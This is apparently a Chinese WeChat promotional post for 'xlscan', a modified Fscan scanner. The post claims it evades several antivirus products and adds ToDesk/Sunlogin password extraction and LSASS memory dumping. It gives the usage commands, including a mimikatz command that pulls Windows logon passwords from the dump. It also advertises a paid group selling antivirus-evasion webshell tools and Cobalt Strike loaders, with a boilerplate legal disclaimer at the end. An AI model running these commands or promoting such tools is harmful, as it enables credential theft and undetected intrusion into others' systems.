点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
工具介绍
xlscan是基于Fscan二次开发而来,经过测试到目前为止 可以绕过360核晶、火绒、微软,微步云沙箱病毒分析为安全。
版本更新 v1.2:
新增Todesk/向日葵账号密码提取功能
新增导出Lsass 内存功能
以上功能均过360核晶、火绒。
工具使用
使用方法与Fscan相同,但每次使用时。请使用 -k 参数来指定密码。
1.正常扫描IP地址信息
xlscan.exe -k 123 -h 192.168.1.1/24
2. 提取Todesk/向日葵账号密码信息
xlscan.exe -k 123 -rts all
3.功能(新增过微软免杀效果)
xlscan.exe -k 123 -rls all
然后对生成的dmp文件进行解密
xlscan.exe -k 123 -rld 1726670123424.dmp
最后使用mimikatz进行解密,即可得到windows账号相关信息。
mimikatz.exe "sekurlsa::minidump 1726671241489.dmp" "sekurlsa::logonPasswords full" "exit"
免杀测试
火绒:
物理机360:
微步云沙箱
微步云沙箱全绿:
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CobaltStrike免杀加载
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
等等...
即将更新的免杀内容:
CobaltStrike二次修改
等等...
后续还会有内部免杀技术分享课程!
圈子目前价格为198元(中秋活动89折优惠。最后3个名额,再次基础上送星落安全内部漏洞库),100名以后涨价至228元!
圈子动态
星落免杀星球资源维护表
关注微信公众号后台回复“入群”,即可进入星落安全交流群!
关注 “星落安全团队” 微信公众号并将此文章转发到朋友圈,即可参与抽奖活动!
往期推荐
1.
3
4
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...